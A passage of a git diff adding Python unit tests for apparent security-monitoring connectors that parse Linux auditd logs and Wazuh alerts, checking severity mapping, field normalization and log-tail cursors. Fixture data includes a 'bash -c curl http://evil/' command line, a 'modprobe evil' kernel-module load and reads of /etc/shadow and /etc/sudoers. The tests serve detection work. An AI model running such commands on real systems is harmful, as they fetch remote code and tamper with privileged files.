_severity_from_event({"key": "cis_benchmark_5_1_2"}) == "info"+++def test_severity_handles_missing_key_path_and_syscall():+ assert _severity_from_event({}) == "info"+++def test_severity_strips_quotes_around_key():+ """auditd lines have quoted keys (``key="aisoc_exec"``) — the parser+ strips the quotes, but defensively the severity helper also handles+ a stray quote prefix/suffix.+ """+ assert _severity_from_event({"key": '"aisoc_critical_sudoers_write"'}) == "high"+++# ---------------------------------------------------------------------------+# AuditdConnector.normalize() — the AiSOC field shape+# ---------------------------------------------------------------------------+++def _make_connector(**overrides):+ defaults = {+ "host_label": "prod-web-01",+ "audit_log_path": "/var/log/audit/audit.log",+ }+ defaults.update(overrides)+ return AuditdConnector(**defaults)+++def test_normalize_emits_canonical_endpoint_fields():+ """The field names below are the contract every existing+ ``detections/endpoint/linux-*.yaml`` rule pivots on. Renaming+ any of them is a breaking change for detection content.+ """+ conn = _make_connector()+ raw = {+ "event_id": "1.0:1",+ "timestamp": "1.0",+ "serial": "1",+ "syscall": "execve",+ "exe": "/usr/bin/bash",+ "argv": ["bash", "-c", "curl http://evil/"],+ "path": "/usr/bin/bash",+ "paths": ["/usr/bin/bash"],+ "cwd": "/tmp",+ "comm": "bash",+ "proctitle": "bash -c curl",+ "actor_uid": "1000",+ "actor_auid": "1000",+ "actor_euid": "0",+ "actor_gid": "1000",+ "actor_pid": "12345",+ "actor_ppid": "1234",+ "tty": "pts0",+ "session": "5",+ "arch": "c000003e",+ "key": "aisoc_exec",+ "success": "yes",+ "exit": "0",+ "raw_records": {"SYSCALL": {}, "EXECVE": {}},+ }+ norm = conn.normalize(raw)+ # Top-level identity / housekeeping+ assert norm["source"] == "auditd"+ assert norm["category"] == "endpoint"+ assert norm["external_id"] == "1.0:1"+ assert norm["event_id"] == "1.0:1"+ # Host stamping+ assert norm["host"] == "prod-web-01"+ assert norm["hostname"] == "prod-web-01"+ # Detection-pivoted fields+ assert norm["syscall"] == "execve"+ assert norm["exe"] == "/usr/bin/bash"+ assert norm["argv"] == ["bash", "-c", "curl http://evil/"]+ assert norm["path"] == "/usr/bin/bash"+ assert norm["paths"] == ["/usr/bin/bash"]+ assert norm["cwd"] == "/tmp"+ assert norm["comm"] == "bash"+ assert norm["proctitle"] == "bash -c curl"+ assert norm["actor_uid"] == "1000"+ assert norm["actor_pid"] == "12345"+ assert norm["actor_ppid"] == "1234"+ assert norm["tty"] == "pts0"+ assert norm["session"] == "5"+ assert norm["arch"] == "c000003e"+ # Both ``key`` and ``auditd_key`` must be present — the latter is+ # the canonical detection pivot field, the former preserves the raw+ # auditd vocabulary for users who pivoted on it before.+ assert norm["key"] == "aisoc_exec"+ assert norm["auditd_key"] == "aisoc_exec"+ assert norm["success"] == "yes"+ assert norm["exit"] == "0"+ # raw_records must round-trip so detections can walk back.+ assert norm["raw_records"] == {"SYSCALL": {}, "EXECVE": {}}+++def test_normalize_severity_uses_key_prefix_mapping():+ conn = _make_connector()+ raw = {"key": "aisoc_critical_sudoers_write"}+ assert conn.normalize(raw)["severity"] == "high"+++def test_normalize_severity_falls_back_to_path_when_no_key():+ conn = _make_connector()+ raw = {"path": "/etc/shadow", "syscall": "openat"}+ assert conn.normalize(raw)["severity"] == "high"+++def test_normalize_severity_floor_is_info():+ conn = _make_connector()+ raw = {"syscall": "openat", "path": "/var/log/uneventful.log"}+ assert conn.normalize(raw)["severity"] == "info"+++def test_normalize_title_for_execve_includes_argv_preview():+ conn = _make_connector()+ raw = {+ "syscall": "execve",+ "exe": "/usr/bin/bash",+ "argv": ["bash", "-c", "id"],+ }+ norm = conn.normalize(raw)+ assert "execve" in norm["title"]+ assert "/usr/bin/bash" in norm["title"]+ assert "-c" in norm["title"]+++def test_normalize_title_for_path_event_uses_syscall_and_path():+ conn = _make_connector()+ raw = {"syscall": "openat", "path": "/etc/sudoers"}+ norm = conn.normalize(raw)+ assert "openat" in norm["title"]+ assert "/etc/sudoers" in norm["title"]+++def test_normalize_title_falls_back_to_key_when_no_path_or_exec():+ conn = _make_connector()+ raw = {"syscall": "kill", "key": "aisoc_priv_esc_kill"}+ norm = conn.normalize(raw)+ assert "kill" in norm["title"]+ assert "aisoc_priv_esc_kill" in norm["title"]+++def test_normalize_handles_missing_optional_fields():+ """Audit events from rules without an EXECVE/PATH companion are sparse."""+ conn = _make_connector()+ raw = {"event_id": "1.0:1", "syscall": "kill"}+ norm = conn.normalize(raw)+ assert norm["external_id"] == "1.0:1"+ assert norm["argv"] == []+ assert norm["paths"] == []+ assert norm["path"] is None+ assert norm["exe"] is None+++def test_normalize_stamps_host_label_on_every_event():+ conn = _make_connector(host_label="staging-edge-04")+ raw = {"event_id": "1.0:1", "syscall": "openat"}+ norm = conn.normalize(raw)+ assert norm["host"] == "staging-edge-04"+ assert norm["hostname"] == "staging-edge-04"+++# ---------------------------------------------------------------------------+# test_connection contract+# ---------------------------------------------------------------------------+++async def test_test_connection_requires_host_label(tmp_path: Path):+ audit_log = tmp_path / "audit.log"+ audit_log.write_text("")+ conn = AuditdConnector(+ host_label="",+ audit_log_path=str(audit_log),+ )+ result = await conn.test_connection()+ assert result["success"] is False+ assert "host_label" in result["error"]+++async def test_test_connection_reports_missing_audit_log(tmp_path: Path):+ audit_log = tmp_path / "does-not-exist.log"+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.test_connection()+ assert result["success"] is False+ assert "not found" in result["error"]+++async def test_test_connection_reports_unreadable_audit_log(tmp_path: Path):+ audit_log = tmp_path / "audit.log"+ audit_log.write_text("")+ audit_log.chmod(0o000)+ try:+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.test_connection()+ if os.geteuid() == 0:+ pytest.skip("running as root — chmod 000 is not enforceable")+ assert result["success"] is False+ assert "not readable" in result["error"]+ finally:+ audit_log.chmod(0o644)+++async def test_test_connection_success_returns_paths(tmp_path: Path):+ audit_log = tmp_path / "audit.log"+ audit_log.write_text("")+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.test_connection()+ assert result["success"] is True+ assert result["host"] == "prod-web-01"+ assert result["audit_log_path"] == str(audit_log)+ assert result["cursor_path"].endswith(".aisoc-cursor")+++async def test_test_connection_respects_custom_cursor_path(tmp_path: Path):+ audit_log = tmp_path / "audit.log"+ audit_log.write_text("")+ cursor = tmp_path / "custom" / "audit.cursor"+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ cursor_path=str(cursor),+ )+ result = await conn.test_connection()+ assert result["success"] is True+ assert result["cursor_path"] == str(cursor)+++# ---------------------------------------------------------------------------+# file_tail mode — fetch_alerts + cursor behaviour+# ---------------------------------------------------------------------------+++# A minimal three-record execve event we can paste into log files for+# end-to-end tests. Designed to round-trip cleanly through parsing,+# assembly, and normalization.+_EXECVE_BLOCK_TEMPLATE = (+ "type=SYSCALL msg=audit({ts}:{serial}): arch=c000003e syscall=59 "+ 'success=yes exit=0 uid=1000 auid=1000 comm="bash" '+ 'exe="/usr/bin/bash" key="aisoc_exec"\n'+ 'type=EXECVE msg=audit({ts}:{serial}): argc=2 a0="bash" a1="-c"\n'+ 'type=PATH msg=audit({ts}:{serial}): item=0 name="/usr/bin/bash"\n'+)+++def _execve_block(ts: str, serial: str) -> str:+ return _EXECVE_BLOCK_TEMPLATE.format(ts=ts, serial=serial)+++def _write_log(path: Path, body: str) -> None:+ path.write_text(body)+++def _append_log(path: Path, body: str) -> None:+ with open(path, "a") as fh:+ fh.write(body)+++async def test_fetch_alerts_returns_empty_when_log_missing(tmp_path: Path):+ """No file = no events. Connector boots before auditd writes."""+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(tmp_path / "missing.log"),+ )+ result = await conn.fetch_alerts()+ assert result == []+++async def test_fetch_alerts_reads_full_log_when_no_cursor(tmp_path: Path):+ audit_log = tmp_path / "audit.log"+ _write_log(audit_log, _execve_block("1.0", "1") + _execve_block("2.0", "2"))+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.fetch_alerts()+ assert len(result) == 2+ assert {e["external_id"] for e in result} == {"1.0:1", "2.0:2"}+ # Sanity-check the normalised shape on at least one event.+ e = next(e for e in result if e["external_id"] == "1.0:1")+ assert e["syscall"] == "execve"+ assert e["exe"] == "/usr/bin/bash"+ assert e["host"] == "prod-web-01"+ assert e["auditd_key"] == "aisoc_exec"+ assert e["severity"] == "medium" # aisoc_exec -> medium+++async def test_fetch_alerts_cursor_advances_between_polls(tmp_path: Path):+ audit_log = tmp_path / "audit.log"+ _write_log(audit_log, _execve_block("1.0", "1"))+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ first = await conn.fetch_alerts()+ assert len(first) == 1+ # No new bytes since last poll -> empty.+ second = await conn.fetch_alerts()+ assert second == []+ # New event appended -> only the new one comes back.+ _append_log(audit_log, _execve_block("2.0", "2"))+ third = await conn.fetch_alerts()+ assert len(third) == 1+ assert third[0]["external_id"] == "2.0:2"+++async def test_fetch_alerts_resets_cursor_after_rotation(tmp_path: Path):+ """If the file shrinks (logrotate), the cursor must reset to 0."""+ audit_log = tmp_path / "audit.log"+ _write_log(audit_log, _execve_block("1.0", "1") + _execve_block("2.0", "2"))+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ first = await conn.fetch_alerts()+ assert len(first) == 2+ # Simulate rotation: replace contents with a smaller payload.+ _write_log(audit_log, _execve_block("3.0", "3"))+ second = await conn.fetch_alerts()+ assert len(second) == 1+ assert second[0]["external_id"] == "3.0:3"+++async def test_fetch_alerts_buffers_partial_trailing_line(tmp_path: Path):+ """Trailing line without ``\\n`` is mid-write — must be left for+ the next poll, not consumed.+ """+ audit_log = tmp_path / "audit.log"+ full = _execve_block("1.0", "1")+ partial = "type=SYSCALL msg=audit(2.0:2): arch=c000003e syscall=59" # no \n+ audit_log.write_text(full + partial)+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ first = await conn.fetch_alerts()+ # Only the complete event came through.+ assert len(first) == 1+ assert first[0]["external_id"] == "1.0:1"++ # Complete the partial line + add the rest of the records.+ completion = (+ ' success=yes uid=1000 comm="ls" exe="/usr/bin/ls" key="aisoc_exec"\n'+ 'type=EXECVE msg=audit(2.0:2): argc=1 a0="ls"\n'+ 'type=PATH msg=audit(2.0:2): item=0 name="/usr/bin/ls"\n'+ )+ _append_log(audit_log, completion)+ second = await conn.fetch_alerts()+ assert len(second) == 1+ assert second[0]["external_id"] == "2.0:2"+ assert second[0]["exe"] == "/usr/bin/ls"+++async def test_fetch_alerts_skips_malformed_lines(tmp_path: Path):+ """A garbage line (no msg=audit(...) header) must not abort the+ batch — it's silently dropped and surrounding events round-trip.+ """+ audit_log = tmp_path / "audit.log"+ body = _execve_block("1.0", "1") + "this line is not an audit record\n" + _execve_block("2.0", "2")+ _write_log(audit_log, body)+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.fetch_alerts()+ assert {e["external_id"] for e in result} == {"1.0:1", "2.0:2"}+++async def test_fetch_alerts_corrupt_cursor_starts_from_zero(tmp_path: Path):+ """A non-integer cursor file is treated as 0 (re-ingest) rather+ than wedging the connector.+ """+ audit_log = tmp_path / "audit.log"+ _write_log(audit_log, _execve_block("1.0", "1"))+ cursor = Path(f"{audit_log}.aisoc-cursor")+ cursor.write_text("not-an-integer")+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.fetch_alerts()+ assert len(result) == 1+ assert result[0]["external_id"] == "1.0:1"+++async def test_fetch_alerts_respects_custom_cursor_path(tmp_path: Path):+ """Cursor path override must be honoured and the cursor file must+ actually exist after the first poll.+ """+ audit_log = tmp_path / "audit.log"+ cursor = tmp_path / "cursors" / "audit.cursor"+ cursor.parent.mkdir(parents=True)+ _write_log(audit_log, _execve_block("1.0", "1"))+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ cursor_path=str(cursor),+ )+ await conn.fetch_alerts()+ assert cursor.exists()+ assert int(cursor.read_text().strip()) > 0+++async def test_fetch_alerts_caps_read_size_per_poll(tmp_path: Path, monkeypatch):+ """A huge backlog must not be drained in a single poll — the cap+ ensures one busy host can't wedge the scheduler.+ """+ monkeypatch.setattr(+ "app.connectors.auditd._MAX_TAIL_BYTES_PER_POLL",+ 300, # tiny cap+ )+ # Sanity check the imported constant is the real one (not patched+ # in this module).+ assert _MAX_TAIL_BYTES_PER_POLL == 8 * 1024 * 1024+ audit_log = tmp_path / "audit.log"+ body = "".join(_execve_block("1.0", str(i)) for i in range(1, 6))+ _write_log(audit_log, body)+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ first = await conn.fetch_alerts()+ # Strict prefix — cap should kick in.+ assert 0 < len(first) < 5+ # Drain the rest across multiple polls.+ all_events = list(first)+ for _ in range(20):+ batch = await conn.fetch_alerts()+ if not batch:+ break+ all_events.extend(batch)+ assert {e["external_id"] for e in all_events} == {f"1.0:{i}" for i in range(1, 6)}+++async def test_fetch_alerts_caps_event_count_per_poll(tmp_path: Path, monkeypatch):+ """Event-storm protection: a runaway exec storm gets truncated."""+ monkeypatch.setattr(+ "app.connectors.auditd._MAX_EVENTS_PER_POLL",+ 3,+ )+ # Sanity check the imported constant is unmodified at module level.+ assert _MAX_EVENTS_PER_POLL == 50_000+ audit_log = tmp_path / "audit.log"+ body = "".join(_execve_block("1.0", str(i)) for i in range(1, 11))+ _write_log(audit_log, body)+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.fetch_alerts()+ assert len(result) == 3+++async def test_fetch_alerts_ignores_since_seconds(tmp_path: Path):+ """``since_seconds`` is documented as a no-op (cursor handles+ exactly-once-ish semantics). Passing a value must not change behaviour.+ """+ audit_log = tmp_path / "audit.log"+ _write_log(audit_log, _execve_block("1.0", "1"))+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ a = await conn.fetch_alerts(since_seconds=60)+ assert len(a) == 1+ # Second call should still be empty regardless of since_seconds.+ b = await conn.fetch_alerts(since_seconds=99999)+ assert b == []+++# ---------------------------------------------------------------------------+# Integration sanity check — end-to-end auditd_key pivot+# ---------------------------------------------------------------------------+++async def test_end_to_end_aisoc_critical_event_surfaces_as_high(tmp_path: Path):+ """A sudoers-write event using the AiSOC profile key must come+ out the other side as a high-severity event with auditd_key set,+ so the new ``linux-auditd-sudoers-tampering`` detection rule can+ fire on it.+ """+ audit_log = tmp_path / "audit.log"+ body = (+ "type=SYSCALL msg=audit(1.0:1): arch=c000003e syscall=257 "+ 'success=yes exit=0 uid=1000 auid=1000 comm="vi" '+ 'exe="/usr/bin/vi" key="aisoc_critical_sudoers_write"\n'+ 'type=PATH msg=audit(1.0:1): item=0 name="/etc/sudoers"\n'+ )+ _write_log(audit_log, body)+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.fetch_alerts()+ assert len(result) == 1+ event = result[0]+ assert event["severity"] == "high"+ assert event["auditd_key"] == "aisoc_critical_sudoers_write"+ assert event["path"] == "/etc/sudoers"+ assert event["host"] == "prod-web-01"+ assert event["source"] == "auditd"+ assert event["category"] == "endpoint"+++async def test_end_to_end_module_load_event_surfaces_as_medium(tmp_path: Path):+ """Kernel module load via syscall=175 (init_module) tagged with+ ``aisoc_priv_esc_module_load`` should come out as ``medium`` so+ the ``linux-auditd-kernel-module-load`` rule catches it.+ """+ audit_log = tmp_path / "audit.log"+ body = (+ "type=SYSCALL msg=audit(1.0:1): arch=c000003e syscall=175 "+ 'success=yes exit=0 uid=0 auid=1000 comm="insmod" '+ 'exe="/sbin/insmod" key="aisoc_priv_esc_module_load"\n'+ )+ _write_log(audit_log, body)+ conn = AuditdConnector(+ host_label="prod-web-01",+ audit_log_path=str(audit_log),+ )+ result = await conn.fetch_alerts()+ assert len(result) == 1+ event = result[0]+ assert event["severity"] == "medium"+ assert event["syscall"] == "init_module"+ assert event["auditd_key"] == "aisoc_priv_esc_module_load"+ assert event["exe"] == "/sbin/insmod"diff --git a/services/connectors/tests/test_wazuh_connector.py b/services/connectors/tests/test_wazuh_connector.pynew file mode 100644index 000000000..f4e3f3ded--- /dev/null+++ b/services/connectors/tests/test_wazuh_connector.py@@ -0,0 +1,224 @@+"""+Unit tests for the Wazuh connector.++Pattern mirrors ``test_osquery_connectors.py``:++ 1. Schema sanity — wizard form has the fields the docs promise and+ the secret-typed fields are masked.+ 2. ``normalize()`` produces the canonical AiSOC alert shape and applies+ the four-tier severity collapse exactly as documented.+ 3. HTTP routing through ``respx`` exercises the real ``httpx`` paths+ and proves we hit the documented Wazuh indexer endpoints.++We intentionally do not test against a live Wazuh stack here — that is+covered by integration smoke tests in the docker-compose harness.+"""++from __future__ import annotations++import httpx+import pytest+import respx+from app.connectors.base import Capability+from app.connectors.wazuh import WazuhConnector, _severity_from_level++INDEXER = "https://wazuh.test.local:9200"+USERNAME = "admin"+PASSWORD = "wazuh-fake-password"+INDEX_PATTERN = "wazuh-alerts-*"+++# ---------------------------------------------------------------------------+# Schema + capability surface+# ---------------------------------------------------------------------------+++def test_wazuh_schema_has_required_fields():+ schema = WazuhConnector.schema()+ names = {f.name for f in schema.fields}+ assert {"indexer_url", "username", "password", "index_pattern", "min_rule_level", "verify_tls"} <= names+ assert schema.category == "siem"+ pwd = next(f for f in schema.fields if f.name == "password")+ assert pwd.type == "secret"+++def test_wazuh_capabilities_cover_pull_query_search_pivot():+ caps = set(WazuhConnector.capabilities())+ assert Capability.PULL_ALERTS in caps+ assert Capability.QUERY_LOGS in caps+ assert Capability.SEARCH_SIEM in caps+ assert Capability.PIVOT_HOST in caps+++# ---------------------------------------------------------------------------+# Severity collapse: 0-15 → info | low | medium | high+# ---------------------------------------------------------------------------+++ "level,expected",+ [+ (0, "info"),+ (3, "info"),+ (4, "low"),+ (7, "low"),+ (8, "medium"),+ (11, "medium"),+ (12, "high"),+ (15, "high"),+ # Out-of-band / weird inputs — must not raise.+ (None, "info"),+ ("not-a-number", "info"),+ ("9", "medium"),+ (-3, "info"),+ (99, "high"),+ ],+)+def test_severity_band_collapse(level, expected):+ assert _severity_from_level(level) == expected+++# ---------------------------------------------------------------------------+# normalize()+# ---------------------------------------------------------------------------+++def _hit(level: int = 12, **rule_extra) -> dict:+ """Minimal indexer hit envelope mimicking a real Wazuh alert."""+ return {+ "_id": "doc-abc",+ "_index": "wazuh-alerts-4.x-2026.05.12",+ "_source": {+ "@timestamp": "2026-05-12T08:00:00.000Z",+ "agent": {"id": "001", "name": "web-01.corp", "ip": "10.0.0.5"},+ "rule": {+ "id": "100100",+ "level": level,+ "description": "Possible rootkit installation",+ "groups": ["rootcheck", "intrusion_attempt"],+ "mitre": {"id": ["T1547"], "tactic": ["Persistence"]},+ **rule_extra,+ },+ "data": {"command": "modprobe evil"},+ "decoder": {"name": "rootcheck"},+ "full_log": "rootcheck: detected suspicious kernel module",+ },+ }+++def test_normalize_high_severity_rule_maps_to_high():+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD)+ normalized = connector.normalize(_hit(level=14))+ assert normalized["source"] == "wazuh"+ assert normalized["category"] == "siem"+ assert normalized["event_type"] == "wazuh_alert"+ assert normalized["severity"] == "high"+ assert normalized["title"] == "Possible rootkit installation"+ assert normalized["hostname"] == "web-01.corp"+ assert normalized["host"] == "web-01.corp"+ assert normalized["agent_id"] == "001"+ assert normalized["agent_ip"] == "10.0.0.5"+ assert normalized["rule_id"] == "100100"+ assert normalized["rule_level"] == 14+ assert normalized["mitre_techniques"] == ["T1547"]+ assert normalized["mitre_tactics"] == ["Persistence"]+ assert normalized["alert_id"] == "doc-abc"+ # raw_event must be the original _source so rule authors can pivot+ # into vendor-specific fields the canonical shape doesn't expose.+ assert normalized["raw_event"]["decoder"]["name"] == "rootcheck"+++def test_normalize_low_signal_rule_maps_to_low():+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD)+ normalized = connector.normalize(_hit(level=5, description="sshd: failed password"))+ assert normalized["severity"] == "low"+ assert normalized["title"] == "sshd: failed password"+++def test_normalize_synthesises_alert_id_when_doc_id_missing():+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD)+ raw = _hit(level=8)+ raw.pop("_id")+ normalized = connector.normalize(raw)+ # Composite fallback must include rule + agent + timestamp so retries+ # de-duplicate without the indexer doc id.+ assert "100100" in normalized["alert_id"]+ assert "001" in normalized["alert_id"]+++def test_normalize_handles_missing_mitre_block():+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD)+ raw = _hit(level=8)+ del raw["_source"]["rule"]["mitre"]+ normalized = connector.normalize(raw)+ assert normalized["mitre_techniques"] == []+ assert normalized["mitre_tactics"] == []+++# ---------------------------------------------------------------------------+# test_connection — auth, network, success+# ---------------------------------------------------------------------------++[email protected](assert_all_called=True)+async def test_test_connection_success(respx_mock):+ respx_mock.get(f"{INDEXER}/_cluster/health").mock(return_value=httpx.Response(200, json={"status": "green"}))+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD, verify_tls=False)+ result = await connector.test_connection()+ assert result == {"success": True, "connector": "wazuh"}++[email protected](assert_all_called=True)+async def test_test_connection_auth_failure(respx_mock):+ respx_mock.get(f"{INDEXER}/_cluster/health").mock(return_value=httpx.Response(401))+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD, verify_tls=False)+ result = await connector.test_connection()+ assert result["success"] is False+ assert "auth" in result["error"].lower()++[email protected](assert_all_called=True)+async def test_test_connection_network_error(respx_mock):+ respx_mock.get(f"{INDEXER}/_cluster/health").mock(side_effect=httpx.ConnectError("dns"))+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD, verify_tls=False)+ result = await connector.test_connection()+ assert result["success"] is False+ assert "network" in result["error"].lower()+++# ---------------------------------------------------------------------------+# fetch_alerts — wires through to OpenSearch search + applies the threshold+# ---------------------------------------------------------------------------++[email protected](assert_all_called=True)+async def test_fetch_alerts_returns_normalized_events(respx_mock):+ payload = {+ "hits": {+ "hits": [+ _hit(level=12),+ _hit(level=8),+ ]+ }+ }+ route = respx_mock.post(f"{INDEXER}/{INDEX_PATTERN}/_search").mock(return_value=httpx.Response(200, json=payload))+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD, verify_tls=False)+ events = await connector.fetch_alerts(since_seconds=300)+ assert len(events) == 2+ # Must have routed through the search API+ assert route.called+ # Severity collapse must run on the way out+ assert {e["severity"] for e in events} == {"high", "medium"}++[email protected](assert_all_called=True)+async def test_fetch_alerts_returns_empty_on_5xx(respx_mock):+ respx_mock.post(f"{INDEXER}/{INDEX_PATTERN}/_search").mock(return_value=httpx.Response(503))+ connector = WazuhConnector(INDEXER, USERNAME, PASSWORD, verify_tls=False)+ events = await connector.fetch_alerts(since_seconds=300)+ assert events == []